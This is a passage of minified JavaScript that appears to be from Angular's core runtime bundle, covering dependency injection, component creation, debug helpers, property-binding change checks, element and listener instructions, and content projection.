${h(t)}: (${n.join(", ")}).`)}const n=function(t){const e=t&&(t[T]||t[k]);if(e){const n=function(t){if(t.hasOwnProperty("name"))return t.name;const e=(""+t).match(/^function\s*([^\s(]+)/);return null===e?"":e[1]}(t);return console.warn(`DEPRECATED: DI is instantiating a token "${n}" that inherits its @Injectable decorator but does not provide one itself.\nThis will become an error in a future version of Angular. Please add @Injectable() to the "${n}" class.`),e}return null}(t);return null!==n?()=>n.factory(t):()=>new t}(t);throw new Error("unreachable")}function Aa(t,e,n){let r;if(Ra(t)){const e=m(t);return Pt(e)||ka(e)}if(Na(t))r=()=>m(t.useValue);else if(function(t){return!(!t||!t.useFactory)}(t))r=()=>t.useFactory(...br(t.deps||[]));else if(function(t){return!(!t||!t.useExisting)}(t))r=()=>gr(m(t.useExisting));else{const e=m(t&&(t.useClass||t.provide));if(!function(t){return!!t.deps}(t))return Pt(e)||ka(e);r=()=>new e(...br(t.deps))}return r}function Da(t,e,n=!1){return{factory:t,value:e,multi:n?[]:void 0}}function Na(t){return null!==t&&"object"==typeof t&&dr in t}function Ra(t){return"function"==typeof t}function La(t,e,n){return Ea({name:n},e,t,n)}const ja=La;let Fa=(()=>{class t{static create(t,e){return Array.isArray(t)?ja(t,e,""):ja(t.providers,t.parent,t.name||"")}}return t.THROW_IF_NOT_FOUND=sr,t.NULL=new wa,t.\u0275prov=x({token:t,providedIn:"any",factory:()=>gr(Ca)}),t.__NG_ELEMENT_ID__=-1,t})();function Va(t){Xa(t);const e=Hi(t);return null===e?null:(void 0===e.component&&(e.component=function(t,e){const n=e[1].data[t];return 2&n.flags?e[n.directiveStart]:null}(e.nodeIndex,e.lView)),e.component)}function Ba(t){Xa(t);const e=Hi(t);return null===e?null:e.lView[8]}function Ha(t){const e=Hi(t);if(null===e)return null;let n,r=e.lView;for(;2===r[1].type&&(n=wo(r));)r=n;return 512&r[2]?null:r[8]}function za(t){return[...xo(t).components]}function Ga(t){const e=Hi(t);return null===e?Fa.NULL:new Cn(e.lView[1].data[e.nodeIndex],e.lView)}function Ua(t){if(t instanceof Text)return[];const e=Hi(t);if(null===e)return[];const n=e.lView,r=n[1],i=e.nodeIndex;return(null==r?void 0:r.data[i])?(void 0===e.directives&&(e.directives=Zi(i,n,!1)),null===e.directives?[]:[...e.directives]):[]}function qa(t){const{constructor:e}=t;if(!e)throw new Error("Unable to find the instance constructor");const n=pt(e);if(n)return{inputs:n.inputs,outputs:n.outputs,encapsulation:n.encapsulation,changeDetection:n.onPush?V.OnPush:V.Default};const r=ft(e);return r?{inputs:r.inputs,outputs:r.outputs}:null}function Wa(t){return Hi(t).native}function Ka(t){Xa(t);const e=Hi(t);if(null===e)return[];const n=e.lView,r=n[7],i=n[1].cleanup,o=[];if(i&&r)for(let s=0;s<i.length;){const e=i[s++],a=i[s++];if("string"==typeof e){const c=e,l=zt(n[a]),u=r[i[s++]],d=i[s++],h="boolean"==typeof d||d>=0?"dom":"output",p="boolean"==typeof d&&d;t==l&&o.push({element:t,name:c,callback:u,useCapture:p,type:h})}}return o.sort($a),o}function $a(t,e){return t.name==e.name?0:t.name<e.name?-1:1}function Qa(t){return void 0!==t.type&&void 0!==t.template&&void 0!==t.declaredInputs}function Xa(t){if("undefined"!=typeof Element&&!(t instanceof Element))throw new Error("Expecting instance of DOM Element")}function Za(t){_a(t),za(t).forEach(t=>va(t))}let Ya=!1;function Ja(){Ya||(Ya=!0,tc("\u0275setProfiler",Dt),tc("getDirectiveMetadata",qa),tc("getComponent",Va),tc("getContext",Ba),tc("getListeners",Ka),tc("getOwningComponent",Ha),tc("getHostElement",Wa),tc("getInjector",Ga),tc("getRootComponents",za),tc("getDirectives",Ua),tc("applyChanges",Za))}function tc(t,e){if("undefined"==typeof COMPILED||!COMPILED){const n=W;if(n){let r=n.ng;r||(r=n.ng={}),r[t]=e}}}function ec(t,e={}){const n=e.rendererFactory||Ht,r=e.sanitizer||null,i=pt(t);i.type!=t&&(i.type=t);const o=i.selectors[0][0],s=Vs(n.createRenderer(null,null),e.host||o,i.encapsulation),a=i.onPush?576:528,c=ic(e.scheduler,e.playerHandler),l=n.createRenderer(s,i),u=Fs(0,null,null,1,0,null,null,null,null,null),d=Ms(null,u,c,a,null,null,n,l,null,e.injector||null);let h;Oe(d);try{n.begin&&n.begin(),h=rc(nc(s,i,d,n,l,r),i,d,c,e.hostFeatures||null),Is(u,d,null),ks(u,d,null,null)}finally{Ae(),n.end&&n.end()}return h}function nc(t,e,n,r,i,o){const s=n[1];n[20]=t;const a=Os(s,20,2,"#host",null),c=a.mergedAttrs=e.hostAttrs;null!==c&&(ba(a,c,!0),null!==t&&(Ke(i,t,c),null!==a.classes&&ns(i,t,a.classes),null!==a.styles&&es(i,t,a.styles)));const l=r.createRenderer(t,e),u=Ms(n,js(e),null,e.onPush?64:16,n[20],a,r,l,o||null,null);return s.firstCreatePass&&(ln(on(a,n),s,e.type),Ws(s,a),$s(a,n.length,1)),oa(n,u),n[20]=u}function rc(t,e,n,r,i){const o=n[1],s=function(t,e,n){const r=se();t.firstCreatePass&&(n.providersResolver&&n.providersResolver(n),Qs(t,r,e,Ts(t,e,1,null),n));const i=bn(e,t,r.directiveStart,r);qi(i,e);const o=Ut(r,e);return o&&qi(o,e),i}(o,n,e);if(r.components.push(s),t[8]=s,i&&i.forEach(t=>t(s,e)),e.contentQueries){const t=se();e.contentQueries(1,s,t.directiveStart)}const a=se();return!o.firstCreatePass||null===e.hostBindings&&null===e.hostAttrs||(Re(a.index),Us(n[1],a,0,a.directiveStart,a.directiveEnd,e),qs(e,s)),s}function ic(t,e){return{components:[],scheduler:t||fo,clean:da,playerHandler:e||null,flags:0}}function oc(t,e){Be(Ki(t)[1],se())}function sc(t){return xo(t).clean}function ac(t){return Object.getPrototypeOf(t.prototype).constructor}function cc(t){let e=ac(t.type),n=!0;const r=[t];for(;e;){let i;if(wt(t))i=e.\u0275cmp||e.\u0275dir;else{if(e.\u0275cmp)throw new Error("Directives cannot inherit Components");i=e.\u0275dir}if(i){if(n){r.push(i);const e=t;e.inputs=lc(t.inputs),e.declaredInputs=lc(t.declaredInputs),e.outputs=lc(t.outputs);const n=i.hostBindings;n&&hc(t,n);const o=i.viewQuery,s=i.contentQueries;if(o&&uc(t,o),s&&dc(t,s),d(t.inputs,i.inputs),d(t.declaredInputs,i.declaredInputs),d(t.outputs,i.outputs),wt(i)&&i.data.animation){const e=t.data;e.animation=(e.animation||[]).concat(i.data.animation)}}const e=i.features;if(e)for(let r=0;r<e.length;r++){const i=e[r];i&&i.ngInherit&&i(t),i===cc&&(n=!1)}}e=Object.getPrototypeOf(e)}!function(t){let e=0,n=null;for(let r=t.length-1;r>=0;r--){const i=t[r];i.hostVars=e+=i.hostVars,i.hostAttrs=Xe(i.hostAttrs,n=Xe(n,i.hostAttrs))}}(r)}function lc(t){return t===K?{}:t===$?[]:t}function uc(t,e){const n=t.viewQuery;t.viewQuery=n?(t,r)=>{e(t,r),n(t,r)}:e}function dc(t,e){const n=t.contentQueries;t.contentQueries=n?(t,r,i)=>{e(t,r,i),n(t,r,i)}:e}function hc(t,e){const n=t.hostBindings;t.hostBindings=n?(t,r)=>{e(t,r),n(t,r)}:e}const pc=["providersResolver"],fc=["template","decls","consts","vars","onPush","ngContentSelectors","styles","encapsulation","schemas"];function gc(t){let e,n=ac(t.type);e=wt(t)?n.\u0275cmp:n.\u0275dir;const r=t;for(const i of pc)r[i]=e[i];if(wt(e))for(const i of fc)r[i]=e[i]}let mc=null;function yc(){if(!mc){const t=W.Symbol;if(t&&t.iterator)mc=t.iterator;else{const t=Object.getOwnPropertyNames(Map.prototype);for(let e=0;e<t.length;++e){const n=t[e];"entries"!==n&&"size"!==n&&Map.prototype[n]===Map.prototype.entries&&(mc=n)}}}return mc}function bc(t,e){const n=_c(t),r=_c(e);return n&&r?function(t,e,n){const r=t[yc()](),i=e[yc()]();for(;;){const t=r.next(),e=i.next();if(t.done&&e.done)return!0;if(t.done||e.done||!n(t.value,e.value))return!1}}(t,e,bc):!(n||!t||"object"!=typeof t&&"function"!=typeof t||r||!e||"object"!=typeof e&&"function"!=typeof e)||Object.is(t,e)}class vc{constructor(t){this.wrapped=t}static wrap(t){return new vc(t)}static unwrap(t){return vc.isWrapped(t)?t.wrapped:t}static isWrapped(t){return t instanceof vc}}function _c(t){return!!Cc(t)&&(Array.isArray(t)||!(t instanceof Map)&&yc()in t)}function Cc(t){return null!==t&&("function"==typeof t||"object"==typeof t)}function wc(t,e,n){return t[e]=n}function xc(t,e){return t[e]}function Pc(t,e,n){return!Object.is(t[e],n)&&(t[e]=n,!0)}function Sc(t,e,n,r){const i=Pc(t,e,n);return Pc(t,e+1,r)||i}function Mc(t,e,n,r,i){const o=Sc(t,e,n,r);return Pc(t,e+2,i)||o}function Oc(t,e,n,r,i,o){const s=Sc(t,e,n,r);return Sc(t,e+2,i,o)||s}function Ec(t,e,n,r){const i=re();return Pc(i,ye(),e)&&(ie(),Zs(Le(),i,t,e,n,r)),Ec}function Tc(t,e){let n=!1,r=ge();for(let o=1;o<e.length;o+=2)n=Pc(t,r++,e[o])||n;if(me(r),!n)return gs;let i=e[0];for(let o=1;o<e.length;o+=2)i+=v(e[o])+e[o+1];return i}function Ic(t,e,n,r){return Pc(t,ye(),n)?e+v(n)+r:gs}function kc(t,e,n,r,i,o){const s=Sc(t,ge(),n,i);return be(2),s?e+v(n)+r+v(i)+o:gs}function Ac(t,e,n,r,i,o,s,a){const c=Mc(t,ge(),n,i,s);return be(3),c?e+v(n)+r+v(i)+o+v(s)+a:gs}function Dc(t,e,n,r,i,o,s,a,c,l){const u=Oc(t,ge(),n,i,s,c);return be(4),u?e+v(n)+r+v(i)+o+v(s)+a+v(c)+l:gs}function Nc(t,e,n,r,i,o,s,a,c,l,u,d){const h=ge();let p=Oc(t,h,n,i,s,c);return p=Pc(t,h+4,u)||p,be(5),p?e+v(n)+r+v(i)+o+v(s)+a+v(c)+l+v(u)+d:gs}function Rc(t,e,n,r,i,o,s,a,c,l,u,d,h,p){const f=ge();let g=Oc(t,f,n,i,s,c);return g=Sc(t,f+4,u,h)||g,be(6),g?e+v(n)+r+v(i)+o+v(s)+a+v(c)+l+v(u)+d+v(h)+p:gs}function Lc(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g){const m=ge();let y=Oc(t,m,n,i,s,c);return y=Mc(t,m+4,u,h,f)||y,be(7),y?e+v(n)+r+v(i)+o+v(s)+a+v(c)+l+v(u)+d+v(h)+p+v(f)+g:gs}function jc(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y){const b=ge();let _=Oc(t,b,n,i,s,c);return _=Oc(t,b+4,u,h,f,m)||_,be(8),_?e+v(n)+r+v(i)+o+v(s)+a+v(c)+l+v(u)+d+v(h)+p+v(f)+g+v(m)+y:gs}function Fc(t,e,n,r,i,o){const s=re(),a=Ic(s,e,n,r);return a!==gs&&Zs(Le(),s,t,a,i,o),Fc}function Vc(t,e,n,r,i,o,s,a){const c=re(),l=kc(c,e,n,r,i,o);return l!==gs&&Zs(Le(),c,t,l,s,a),Vc}function Bc(t,e,n,r,i,o,s,a,c,l){const u=re(),d=Ac(u,e,n,r,i,o,s,a);return d!==gs&&Zs(Le(),u,t,d,c,l),Bc}function Hc(t,e,n,r,i,o,s,a,c,l,u,d){const h=re(),p=Dc(h,e,n,r,i,o,s,a,c,l);return p!==gs&&Zs(Le(),h,t,p,u,d),Hc}function zc(t,e,n,r,i,o,s,a,c,l,u,d,h,p){const f=re(),g=Nc(f,e,n,r,i,o,s,a,c,l,u,d);return g!==gs&&Zs(Le(),f,t,g,h,p),zc}function Gc(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g){const m=re(),y=Rc(m,e,n,r,i,o,s,a,c,l,u,d,h,p);return y!==gs&&Zs(Le(),m,t,y,f,g),Gc}function Uc(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y){const b=re(),v=Lc(b,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g);return v!==gs&&Zs(Le(),b,t,v,m,y),Uc}function qc(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y,b,v){const _=re(),C=jc(_,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y);return C!==gs&&Zs(Le(),_,t,C,b,v),qc}function Wc(t,e,n,r){const i=re(),o=Tc(i,e);return o!==gs&&Zs(Le(),i,t,o,n,r),Wc}function Kc(t,e,n,r,i,o,s,a){const c=re(),l=ie(),u=t+20,d=l.firstCreatePass?function(t,e,n,r,i,o,s,a,c){const l=e.consts,u=Os(e,t,4,s||null,Xt(l,a));Gs(e,n,u,Xt(l,c)),Be(e,u);const d=u.tViews=Fs(2,u,r,i,o,e.directiveRegistry,e.pipeRegistry,null,e.schemas,l);return null!==e.queries&&(e.queries.template(e,u),d.queries=e.queries.embeddedTView(u)),u}(u,l,c,e,n,r,i,o,s):l.data[u];le(d,!1);const h=c[11].createComment("");Ko(l,c,h,d),qi(h,c),oa(c,c[u]=ea(h,c,h,d)),Ct(d)&&Rs(l,c,d),null!=s&&Ls(c,d,a)}function $c(t,e,n,r){n>=t.data.length&&(t.data[n]=null,t.blueprint[n]=null),e[n]=r}function Qc(t){return Wt(Jt.lFrame.contextLView,20+t)}const Xc={"\u0275\u0275defineInjectable":x,"\u0275\u0275defineInjector":S,"\u0275\u0275inject":gr,"\u0275\u0275invalidFactoryDep":mr,resolveForwardRef:m},Zc=u({provide:String,useValue:u});function Yc(t){return void 0!==t.useClass}function Jc(t){return void 0!==t.useFactory}const tl=En("Injectable",void 0,void 0,void 0,(t,e)=>nl(t,e)),el=function(t,e){let n=null,r=null;t.hasOwnProperty(T)||Object.defineProperty(t,T,{get:()=>(null===n&&(n=zn().compileInjectable(Xc,`ng:///${t.name}/\u0275prov.js`,function(t,e){const n=e||{providedIn:null},r={name:t.name,type:t,typeArgumentCount:0,providedIn:n.providedIn};return(Yc(n)||Jc(n))&&void 0!==n.deps&&(r.deps=kr(n.deps)),Yc(n)?r.useClass=n.useClass:function(t){return Zc in t}(n)?r.useValue=n.useValue:Jc(n)?r.useFactory=n.useFactory:function(t){return void 0!==t.useExisting}(n)&&(r.useExisting=n.useExisting),r}(t,e))),n)}),t.hasOwnProperty(tt)||Object.defineProperty(t,tt,{get:()=>{if(null===r){const e=zn();r=e.compileFactory(Xc,`ng:///${t.name}/\u0275fac.js`,{name:t.name,type:t,typeArgumentCount:0,deps:Ir(t),target:e.FactoryTarget.Injectable})}return r},configurable:!0})},nl=el;function rl(t){return t.length>1?" ("+function(t){const e=[];for(let n=0;n<t.length;++n){if(e.indexOf(t[n])>-1)return e.push(t[n]),e;e.push(t[n])}return e}(t.slice().reverse()).map(t=>h(t.token)).join(" -> ")+")":""}function il(t,e,n,r){const i=[e],o=n(i),s=r?function(t,e){const n=`${t} caused by: ${e instanceof Error?e.message:e}`,r=Error(n);return r[Ji]=e,r}(o,r):Error(o);return s.addKey=ol,s.keys=i,s.injectors=[t],s.constructResolvingMessage=n,s[Ji]=r,s}function ol(t,e){this.injectors.push(t),this.keys.push(e),this.message=this.constructResolvingMessage(this.keys)}function sl(t,e){const n=[];for(let r=0,i=e.length;r<i;r++){const t=e[r];n.push(t&&0!=t.length?t.map(h).join(" "):"?")}return Error("Cannot resolve all parameters for '"+h(t)+"'("+n.join(", ")+"). Make sure that all the parameters are decorated with Inject or have valid type annotations and that '"+h(t)+"' is decorated with Injectable.")}function al(t,e){return Error(`Cannot mix multi providers and regular providers, got: ${t} ${e}`)}class cl{constructor(t,e){if(this.token=t,this.id=e,!t)throw new Error("Token must be defined!");this.displayName=h(this.token)}static get(t){return ul.get(m(t))}static get numberOfKeys(){return ul.numberOfKeys}}class ll{constructor(){this._allKeys=new Map}get(t){if(t instanceof cl)return t;if(this._allKeys.has(t))return this._allKeys.get(t);const e=new cl(t,cl.numberOfKeys);return this._allKeys.set(t,e),e}get numberOfKeys(){return this._allKeys.size}}const ul=new ll;class dl{constructor(t){this.reflectionCapabilities=t}updateCapabilities(t){this.reflectionCapabilities=t}factory(t){return this.reflectionCapabilities.factory(t)}parameters(t){return this.reflectionCapabilities.parameters(t)}annotations(t){return this.reflectionCapabilities.annotations(t)}propMetadata(t){return this.reflectionCapabilities.propMetadata(t)}hasLifecycleHook(t,e){return this.reflectionCapabilities.hasLifecycleHook(t,e)}getter(t){return this.reflectionCapabilities.getter(t)}setter(t){return this.reflectionCapabilities.setter(t)}method(t){return this.reflectionCapabilities.method(t)}importUri(t){return this.reflectionCapabilities.importUri(t)}resourceUri(t){return this.reflectionCapabilities.resourceUri(t)}resolveIdentifier(t,e,n,r){return this.reflectionCapabilities.resolveIdentifier(t,e,n,r)}resolveEnum(t,e){return this.reflectionCapabilities.resolveEnum(t,e)}}const hl=new dl(new rr);class pl{constructor(t,e,n){this.key=t,this.optional=e,this.visibility=n}static fromKey(t){return new pl(t,!1,null)}}const fl=[];class gl{constructor(t,e,n){this.key=t,this.resolvedFactories=e,this.multiProvider=n,this.resolvedFactory=this.resolvedFactories[0]}}class ml{constructor(t,e){this.factory=t,this.dependencies=e}}function yl(t){let e,n;if(t.useClass){const r=m(t.useClass);e=hl.factory(r),n=Cl(r)}else t.useExisting?(e=t=>t,n=[pl.fromKey(cl.get(t.useExisting))]):t.useFactory?(e=t.useFactory,n=function(t,e){if(e){const n=e.map(t=>[t]);return e.map(e=>wl(t,e,n))}return Cl(t)}(t.useFactory,t.deps)):(e=()=>t.useValue,n=fl);return new ml(e,n)}function bl(t){return new gl(cl.get(t.provide),[yl(t)],t.multi||!1)}function vl(t){const e=function(t,e){for(let n=0;n<t.length;n++){const r=t[n],i=e.get(r.key.id);if(i){if(r.multiProvider!==i.multiProvider)throw al(i,r);if(r.multiProvider)for(let t=0;t<r.resolvedFactories.length;t++)i.resolvedFactories.push(r.resolvedFactories[t]);else e.set(r.key.id,r)}else{let t;t=r.multiProvider?new gl(r.key,r.resolvedFactories.slice(),r.multiProvider):r,e.set(r.key.id,t)}}return e}(_l(t,[]).map(bl),new Map);return Array.from(e.values())}function _l(t,e){return t.forEach(t=>{if(t instanceof Gn)e.push({provide:t,useClass:t});else if(t&&"object"==typeof t&&void 0!==t.provide)e.push(t);else{if(!Array.isArray(t))throw function(t){return Error(`Invalid provider - only instances of Provider and Type are allowed, got: ${t}`)}(t);_l(t,e)}}),e}function Cl(t){const e=hl.parameters(t);if(!e)return[];if(e.some(t=>null==t))throw sl(t,e);return e.map(n=>wl(t,n,e))}function wl(t,e,n){let r=null,i=!1;if(!Array.isArray(e))return xl(e instanceof xr?e.token:e,i,null);let o=null;for(let s=0;s<e.length;++s){const t=e[s];t instanceof Gn?r=t:t instanceof xr?r=t.token:t instanceof Pr?i=!0:t instanceof Sr||t instanceof Mr?o=t:t instanceof Nn&&(r=t)}if(r=m(r),null!=r)return xl(r,i,o);throw sl(t,n)}function xl(t,e,n){return new pl(cl.get(t),e,n)}const Pl={};class Sl{static resolve(t){return vl(t)}static resolveAndCreate(t,e){const n=Sl.resolve(t);return Sl.fromResolvedProviders(n,e)}static fromResolvedProviders(t,e){return new Ml(t,e)}}let Ml=(()=>{class t{constructor(t,e){this._constructionCounter=0,this._providers=t,this.parent=e||null;const n=t.length;this.keyIds=[],this.objs=[];for(let r=0;r<n;r++)this.keyIds[r]=t[r].key.id,this.objs[r]=Pl}get(t,e=sr){return this._getByKey(cl.get(t),null,e)}resolveAndCreateChild(t){const e=Sl.resolve(t);return this.createChildFromResolved(e)}createChildFromResolved(e){const n=new t(e);return n.parent=this,n}resolveAndInstantiate(t){return this.instantiateResolved(Sl.resolve([t])[0])}instantiateResolved(t){return this._instantiateProvider(t)}getProviderAtIndex(t){if(t<0||t>=this._providers.length)throw function(t){return Error(`Index ${t} is out-of-bounds.`)}(t);return this._providers[t]}_new(t){if(this._constructionCounter++>this._getMaxNumberOfObjects())throw function(t,e){return il(t,e,function(t){return`Cannot instantiate cyclic dependency!${rl(t)}`})}(this,t.key);return this._instantiateProvider(t)}_getMaxNumberOfObjects(){return this.objs.length}_instantiateProvider(t){if(t.multiProvider){const e=[];for(let n=0;n<t.resolvedFactories.length;++n)e[n]=this._instantiate(t,t.resolvedFactories[n]);return e}return this._instantiate(t,t.resolvedFactories[0])}_instantiate(t,e){const n=e.factory;let r,i;try{r=e.dependencies.map(t=>this._getByReflectiveDependency(t))}catch(o){throw o.addKey&&o.addKey(this,t.key),o}try{i=n(...r)}catch(o){throw function(t,e,n,r){return il(t,r,function(t){const n=h(t[0].token);return`${e.message}: Error during instantiation of ${n}!${rl(t)}.`},e)}(this,o,0,t.key)}return i}_getByReflectiveDependency(t){return this._getByKey(t.key,t.visibility,t.optional?null:sr)}_getByKey(e,n,r){return e===t.INJECTOR_KEY?this:n instanceof Sr?this._getByKeySelf(e,r):this._getByKeyDefault(e,r,n)}_getObjByKeyId(t){for(let e=0;e<this.keyIds.length;e++)if(this.keyIds[e]===t)return this.objs[e]===Pl&&(this.objs[e]=this._new(this._providers[e])),this.objs[e];return Pl}_throwOrNull(t,e){if(e!==sr)return e;throw function(t,e){return il(t,e,function(t){return`No provider for ${h(t[0].token)}!${rl(t)}`})}(this,t)}_getByKeySelf(t,e){const n=this._getObjByKeyId(t.id);return n!==Pl?n:this._throwOrNull(t,e)}_getByKeyDefault(e,n,r){let i;for(i=r instanceof Mr?this.parent:this;i instanceof t;){const t=i,n=t._getObjByKeyId(e.id);if(n!==Pl)return n;i=t.parent}return null!==i?i.get(e.token,n):this._throwOrNull(e,n)}get displayName(){return`ReflectiveInjector(providers: [${function(t,e){const n=[];for(let r=0;r<t._providers.length;++r)n[r]=e(t.getProviderAtIndex(r));return n}(this,t=>' "'+t.key.displayName+'" ').join(", ")}])`}toString(){return this.displayName}}return t.INJECTOR_KEY=cl.get(Fa),t})();function Ol(t,e=D.Default){const n=re();return null===n?gr(t,e):pn(se(),n,m(t),e)}function El(){throw new Error("invalid")}function Tl(t,e,n){const r=re();return Pc(r,ye(),e)&&zs(ie(),Le(),r,t,e,r[11],n,!1),Tl}function Il(t,e,n,r,i){const o=i?"class":"style";ma(t,n,e.inputs[o],o,r)}function kl(t,e,n,r){const i=re(),o=ie(),s=20+t,a=i[11],c=i[s]=ko(a,e,Jt.lFrame.currentNamespace),l=o.firstCreatePass?function(t,e,n,r,i,o,s){const a=e.consts,c=Os(e,t,2,i,Xt(a,o));return Gs(e,n,c,Xt(a,s)),null!==c.attrs&&ba(c,c.attrs,!1),null!==c.mergedAttrs&&ba(c,c.mergedAttrs,!0),null!==e.queries&&e.queries.elementStart(e,c),c}(s,o,i,0,e,n,r):o.data[s];le(l,!0);const u=l.mergedAttrs;null!==u&&Ke(a,c,u);const d=l.classes;null!==d&&ns(a,c,d);const h=l.styles;null!==h&&es(a,c,h),64!=(64&l.flags)&&Ko(o,i,c,l),0===Jt.lFrame.elementDepthCount&&qi(c,i),Jt.lFrame.elementDepthCount++,Ct(l)&&(Rs(o,i,l),Ns(o,l,i)),null!==r&&Ls(i,l)}function Al(){let t=se();ue()?de():(t=t.parent,le(t,!1));const e=t;Jt.lFrame.elementDepthCount--;const n=ie();n.firstCreatePass&&(Be(n,t),vt(t)&&n.queries.elementEnd(t)),null!=e.classesWithoutHost&&function(t){return 0!=(16&t.flags)}(e)&&Il(n,e,re(),e.classesWithoutHost,!0),null!=e.stylesWithoutHost&&function(t){return 0!=(32&t.flags)}(e)&&Il(n,e,re(),e.stylesWithoutHost,!1)}function Dl(t,e,n,r){kl(t,e,n,r),Al()}function Nl(t,e,n){const r=re(),i=ie(),o=t+20,s=i.firstCreatePass?function(t,e,n,r,i){const o=e.consts,s=Xt(o,r),a=Os(e,t,8,"ng-container",s);return null!==s&&ba(a,s,!0),Gs(e,n,a,Xt(o,i)),null!==e.queries&&e.queries.elementStart(e,a),a}(o,i,r,e,n):i.data[o];le(s,!0);const a=r[o]=r[11].createComment("");Ko(i,r,a,s),qi(a,r),Ct(s)&&(Rs(i,r,s),Ns(i,s,r)),null!=n&&Ls(r,s)}function Rl(){let t=se();const e=ie();ue()?de():(t=t.parent,le(t,!1)),e.firstCreatePass&&(Be(e,t),vt(t)&&e.queries.elementEnd(t))}function Ll(t,e,n){Nl(t,e,n),Rl()}function jl(){return re()}function Fl(t){return!!t&&"function"==typeof t.then}function Vl(t){return!!t&&"function"==typeof t.subscribe}const Bl=Vl;function Hl(t,e,n,r){const i=re(),o=ie(),s=se();return Gl(o,i,i[11],s,t,e,!!n,r),Hl}function zl(t,e){const n=se(),r=re(),i=ie();return Gl(i,r,fa(we(i.data),n,r),n,t,e,!1),zl}function Gl(t,e,n,r,i,o,s,a){const c=Ct(r),l=t.firstCreatePass&&pa(t),u=e[8],d=ha(e);let h=!0;if(3&r.type||a){const p=Ut(r,e),f=a?a(p):p,g=d.length,m=a?t=>a(zt(t[r.index])):r.index;if(Bt(n)){let s=null;if(!a&&c&&(s=function(t,e,n,r){const i=t.cleanup;if(null!=i)for(let o=0;o<i.length-1;o+=2){const t=i[o];if(t===n&&i[o+1]===r){const t=e[7],n=i[o+2];return t.length>n?t[n]:null}"string"==typeof t&&(o+=2)}return null}(t,e,i,r.index)),null!==s)(s.__ngLastListenerFn__||s).__ngNextListenerFn__=o,s.__ngLastListenerFn__=o,h=!1;else{o=ql(r,e,u,o,!1);const t=n.listen(f,i,o);d.push(o,t),l&&l.push(i,m,g,g+1)}}else o=ql(r,e,u,o,!0),f.addEventListener(i,o,s),d.push(o),l&&l.push(i,m,g,s)}else o=ql(r,e,u,o,!1);const p=r.outputs;let f;if(h&&null!==p&&(f=p[i])){const t=f.length;if(t)for(let n=0;n<t;n+=2){const t=e[f[n]][f[n+1]].subscribe(o),s=d.length;d.push(o,t),l&&l.push(i,r.index,s,-(s+1))}}}function Ul(t,e,n,r){try{return Nt(6,e,n),!1!==n(r)}catch(i){return ga(t,i),!1}finally{Nt(7,e,n)}}function ql(t,e,n,r,i){return function o(s){if(s===Function)return r;const a=2&t.flags?Kt(t.index,e):e;0==(32&e[2])&&sa(a);let c=Ul(e,n,r,s),l=o.__ngNextListenerFn__;for(;l;)c=Ul(e,n,l,s)&&c,l=l.__ngNextListenerFn__;return i&&!1===c&&(s.preventDefault(),s.returnValue=!1),c}}function Wl(t=1){return De(t)}function Kl(t,e){let n=null;const r=function(t){const e=t.attrs;if(null!=e){const t=e.indexOf(5);if(0==(1&t))return e[t+1]}return null}(t);for(let i=0;i<e.length;i++){const o=e[i];if("*"!==o){if(null===r?ds(t,o,!0):hs(r,o))return i}else n=i}return n}function $l(t){const e=re()[16][6];if(!e.projection){const n=e.projection=Qn(t?t.length:1,null),r=n.slice();let i=e.child;for(;null!==i;){const e=t?Kl(i,t):0;null!==e&&(r[e]?r[e].projectionNext=i:n[e]=i,r[e]=i),i=i.next}}}function Ql(t,e=0,n){const r=re(),i=ie(),o=Os(i,20+t,16,null,n||null);null===o.projection&&(o.projection=e),de(),64!=(64&o.flags)&&function(t,e,n){ts(e[11],0,e,n,Lo(t,n,e),zo(n.parent||e[6],n,e))}(i,r,o)}function Xl(t,e,n){return Zl(t,"",e,"",n),Xl}function Zl(t,e,n,r,i){const o=re(),s=Ic(o,e,n,r);return s!==gs&&zs(ie(),Le(),o,t,s,o[11],i,!1),Zl}function Yl(t,e,n,r,i,o,s){const a=re(),c=kc(a,e,n,r,i,o);return c!==gs&&zs(ie(),Le(),a,t,c,a[11],s,!1),Yl}function Jl(t,e,n,r,i,o,s,a,c){const l=re(),u=Ac(l,e,n,r,i,o,s,a);return u!==gs&&zs(ie(),Le(),l,t,u,l[11],c,!1),Jl}function tu(t,e,n,r,i,o,s,a,c,l,u){const d=re(),h=Dc(d,e,n,r,i,o,s,a,c,l);return h!==gs&&zs(ie(),Le(),d,t,h,d[11],u,!1),tu}function eu(t,e,n,r,i,o,s,a,c,l,u,d,h){const p=re(),f=Nc(p,e,n,r,i,o,s,a,c,l,u,d);return f!==gs&&zs(ie(),Le(),p,t,f,p[11],h,!1),eu}function nu(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f){const g=re(),m=Rc(g,e,n,r,i,o,s,a,c,l,u,d,h,p);return m!==gs&&zs(ie(),Le(),g,t,m,g[11],f,!1),nu}function ru(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m){const y=re(),b=Lc(y,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g);return b!==gs&&zs(ie(),Le(),y,t,b,y[11],m,!1),ru}function iu(t,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y,b){const v=re(),_=jc(v,e,n,r,i,o,s,a,c,l,u,d,h,p,f,g,m,y);return _!==gs&&zs(ie(),Le(),v,t,_,v[11],b,!1),iu}function ou(t,e,n){const r=re(),i=Tc(r,e);return i!==gs&&zs(ie(),Le(),r,t,i,r[11],n,!1),ou}function su(t,e,n,r,i){const o=t[n+1],s=null===e;let a=r?vs(o):Cs(o),c=!1;for(;0!==a&&(!1===c||s);){const n=t[a+1];au(t[a],e)&&(c=!0,t[a+1]=r?xs(n):_s(n)),a=r?vs(n):Cs(n)}c&&(t[n+1]=r?_s(o):xs(o))}function au(t,e){return null===t||null==e||(Array.isArray(t)?t[1]:t)===e||!(!Array.isArray(t)||"string"!=typeof e)&&Yn(t,e)>=0}const cu={textEnd:0,key:0,keyEnd:0,value:0,valueEnd:0};function lu(t){return t.substring(cu.key,cu.keyEnd)}function uu(t){return t.substring(cu.value,cu.valueEnd)}function du(t,e){const n=cu.textEnd;return n===e?-1:(e=cu.keyEnd=function(t,e,n){for(;e<n&&t.charCodeAt(e)>32;)e++;return e}(t,cu.key=e,n),fu(t,e,n))}function hu(t,e){const 